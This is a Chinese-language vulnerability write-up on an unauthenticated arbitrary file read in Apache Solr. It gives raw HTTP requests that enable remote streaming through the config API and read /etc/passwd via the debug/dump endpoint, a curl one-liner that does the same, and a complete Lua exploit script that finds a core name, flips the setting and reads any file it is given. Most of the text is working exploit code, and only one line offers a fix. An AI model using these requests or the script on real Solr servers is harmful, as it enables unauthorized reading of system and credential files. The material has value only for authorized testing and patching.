0x00 漏洞概述
Apache Solr 全版本存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标系统的敏感文件。
0x01 影响版本
全版本(ALL)
0x02 漏洞复现
这里使用docker进行安装
docker pull solr
docker run --name solr2 -d -p 8081:8983 solr
进入容器
cd /opt/solr-8.8.1/server/solr/config/configsets/_default
cp -r conf /var/solr/data/new_core
重启容器
创建数据驱动核心
核心name如下
Your-ip8081/solr/admin/cores?indexInfo=false&wt=json
POST /solr/new_core/config HTTP/1.1
Host: 192.168.81.130:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 84
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
POST /solr/new_core/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.81.130:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
stream.url=file:///etc/passwd
也可以通过curl命令行读取到文件
curl "http://192.168.81.130:8080/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
附上自己写的lua脚本
-- 获取core_name
function get_core(host)
-- 调用模块
local http = require("socket.http")
local ltn12 = require("ltn12")
local request_body = [[]]
local response_body = {}
-- 发送http请求包
local res, code, response_headers = http.request{
url = "http://"..host.."/solr/admin/cores?indexInfo=false&wt=json",
method = "GET",
-- 初始和最终的网络节点,每次调用,则分别产生新的数据和接收到最终的数据
source = ltn12.source.string(request_body),
sink = ltn12.sink.table(response_body),
}
if type(response_body) == "table" then
local string = table.concat(response_body)
-- 正则匹配返回包中的核心名称即 core_name
local _,_,core_name = string.find(string,'.name.:"(.-)",')
if core_name ~= nil then
print("查看第一个返回包:\n"..string)
print("#######################################################################")
print("\n从返回包中发现core_name,且core_name为"..core_name..'\n')
return core_name
end
else
print("Not a table:", type(response_body))
end
end
-- set-property config
function set_property(host,core_name)
local http = require("socket.http")
local ltn12 = require("ltn12")
-- 构造特定的请求体
local request_body = [[
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
]]
local response_body = {}
local res, code, response_headers = http.request{
url = "http://"..host.."/solr/"..core_name.."/config",
method = "POST",
headers =
{
--["Content-Type"] = "application/x-www-form-urlencoded";
["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
["Accept-Language"] = "en-US,en;q=0.5",
["Accept-Encoding"] = "gzip, deflate",
["Connection"] = "close",
["Upgrade-Insecure-Requests"] = "1",
["Content-Length"] = #request_body;
},
source = ltn12.source.string(request_body),
sink = ltn12.sink.table(response_body),
}
if type(response_body) == "table" then
local string = table.concat(response_body)
-- 正则匹配返回包中存在该漏洞的特征语句,且证明是否存在漏洞
local _,_,bug_sign = string.find(string,'"WARNING":"(.-)"}')
print("#######################################################################")
print("查看第二个返回包:\n"..string)
print("#######################################################################")
if bug_sign == "This response format is experimental. It is likely to change in the future." then
print("\n漏洞特征点为\n"..bug_sign..'\n')
print("该slor版本存在文件读取漏洞!!!!\n")
return true
else
print("不存在漏洞")
end
else
print("Not a table:", type(response_body))
return false
end
end
-- 文件读取
function readfile(host,core_name,filename)
local http = require("socket.http")
local ltn12 = require("ltn12")
-- 读取指定文件
local request_body = "stream.url=file://"..filename
local response_body = {}
local res, code, response_headers = http.request{
url = "http://"..host.."/solr/"..core_name.."/debug/dump?param=ContentStreams",
method = "POST",
headers =
{
-- POST请求需加上 ["Content-Type"] = "application/x-www-form-urlencoded"
["Content-Type"] = "application/x-www-form-urlencoded";
["Content-Length"] = #request_body;
},
source = ltn12.source.string(request_body),
sink = ltn12.sink.table(response_body),
}
if type(response_body) == "table" then
local string = table.concat(response_body)
-- 正则匹配返回包中的指定文件内容
local _,_,file_content = string.find(string,'"stream":"(.-)"}],')
if file_content ~= nil then
print("#######################################################################")
print("漏洞利用成功!!")
print("#######################################################################")
print(file_content)
else
print("文件读取失败,可能这是一个目录 或者 不存在该目录 或者 当前用户权限不够")
end
else
print("Not a table:", type(response_body))
end
end
-- 主函数
function main()
local host = arg[1]
local filename = arg[2]
local core_name = get_core(host)
if set_property(host,core_name) == true then
readfile(host,core_name,filename)
end
end
main()
利用效果
0x03修复建议
开启身份验证/授权,参考官方文档:
https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html